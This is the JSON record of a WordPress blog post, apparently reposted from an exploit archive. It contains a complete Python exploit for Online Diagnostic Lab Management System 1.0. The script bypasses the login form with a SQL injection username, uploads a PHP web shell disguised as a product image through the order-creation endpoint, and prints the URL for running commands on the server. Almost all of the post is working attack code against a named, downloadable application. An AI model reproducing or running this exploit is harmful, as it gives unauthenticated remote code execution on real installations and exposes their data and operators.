{"id":31102,"date":"2022-09-26T20:39:13","date_gmt":"2022-09-26T17:39:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168498\/odlms10-sqlbypassshell.txt"},"modified":"2022-09-28T15:09:18","modified_gmt":"2022-09-28T11:39:18","slug":"online-diagnostic-lab-management-system-1-0-sql-injection-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/online-diagnostic-lab-management-system-1-0-sql-injection-shell-upload\/","title":{"rendered":"Online Diagnostic Lab Management System 1.0 SQL Injection \/ Shell Upload"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Online Diagnostic Lab Management System &#8211; Remote Code Execution (RCE) (Unauthenticated)<br \/>\n# Google Dork: N\/A<br \/>\n# Date: 2022-9-23<br \/>\n# Exploit Author: yousef alraddadi &#8211; https:\/\/twitter.com\/y0usef_11<br \/>\n# Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/15667\/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html<br \/>\n# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/mayuri_k\/diagnostic_0.zip<br \/>\n# Tested on: windows 11 &#8211; XAMPP<br \/>\n# CVE : N\/A<br \/>\n# Version: 1.0<br \/>\n# Authentication Required: bypass login with sql injection<\/p>\n<p dir=\"ltr\">#\/usr\/bin\/python3<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport os<br \/>\nimport sys<br \/>\nimport time<br \/>\nimport random<\/p>\n<p dir=\"ltr\"># clean screen<br \/>\nos.system(&#8220;cls&#8221;)<br \/>\nos.system(&#8220;clear&#8221;)<\/p>\n<p dir=\"ltr\">logo = &#8221;&#8217;<br \/>\n##################################################################<br \/>\n# #<br \/>\n# Exploit Script ( Online Diagnostic Lab Management System ) #<br \/>\n# #<br \/>\n##################################################################<br \/>\n&#8221;&#8217;<br \/>\nprint(logo)<\/p>\n<p dir=\"ltr\">url = str(input(&#8220;Enter website url : &#8220;))<br \/>\nusername = (&#8220;&#8216; OR 1=1&#8211; -&#8220;)<br \/>\npassword = (&#8220;test&#8221;)<\/p>\n<p dir=\"ltr\">req = requests.Session()<\/p>\n<p dir=\"ltr\">target = url+&#8221;\/diagnostic\/login.php&#8221;<br \/>\ndata = {&#8216;username&#8217;:username,&#8217;password&#8217;:password}<\/p>\n<p dir=\"ltr\">website = req.post(target,data=data)<br \/>\nfiles = open(&#8220;rev.php&#8221;,&#8221;w&#8221;)<br \/>\npayload = &#8220;&lt;?php system($_GET[&#8216;cmd&#8217;]);?&gt;&#8221;<br \/>\nfiles.write(payload)<br \/>\nfiles.close()<\/p>\n<p dir=\"ltr\">hash = random.getrandbits(128)<br \/>\nname_file = str(hash)+&#8221;.php&#8221;<br \/>\nif &#8220;Login Successfully&#8221; in website.text:<\/p>\n<p dir=\"ltr\">print(&#8220;[+] Login Successfully&#8221;)<br \/>\nwebsite_1 = url+&#8221;\/diagnostic\/php_action\/createOrder.php&#8221;<\/p>\n<p dir=\"ltr\">upload_file = {<br \/>\n&#8220;orderDate&#8221;: (None,&#8221;&#8221;),<br \/>\n&#8220;clientName&#8221;: (None,&#8221;&#8221;),<br \/>\n&#8220;clientContact&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;productName[]&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;rateValue[]&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;quantity[]&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;totalValue[]&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;subTotalValue&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;totalAmountValue&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;discount&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;grandTotalValue&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;gstn&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;vatValue&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;paid&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;dueValue&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;paymentType&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;paymentStatus&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;paymentPlace&#8221; : (None,&#8221;&#8221;),<br \/>\n&#8220;productImage&#8221; : (name_file,open(&#8220;rev.php&#8221;,&#8221;rb&#8221;))<br \/>\n}<\/p>\n<p dir=\"ltr\">up = req.post(website_1,files=upload_file)<br \/>\nprint(&#8220;[+] Check here file shell =&gt; &#8220;+url+&#8221;\/diagnostic\/assets\/myimages\/&#8221;+name_file)<br \/>\nprint(&#8220;[+] can exect command here =&gt; &#8220;+url+&#8221;\/diagnostic\/assets\/myimages\/&#8221;+name_file+&#8221;?cmd=whoami&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;[-] Check username or password&#8221;)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Online Diagnostic Lab Management System &#8211; Remote Code Execution (RCE) (Unauthenticated) # Google Dork: N\/A # Date: 2022-9-23 # Exploit Author: yousef alraddadi &#8211; https:\/\/twitter.com\/y0usef_11 # Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/15667\/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html # Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/mayuri_k\/diagnostic_0.zip # Tested on: windows 11 &#8211; XAMPP # CVE : N\/A # Version: 1.0 # Authentication Required: bypass login &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-31102","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/31102","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=31102"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/31102\/revisions"}],"predecessor-version":[{"id":31212,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/31102\/revisions\/31212"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=31102"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=31102"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=31102"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}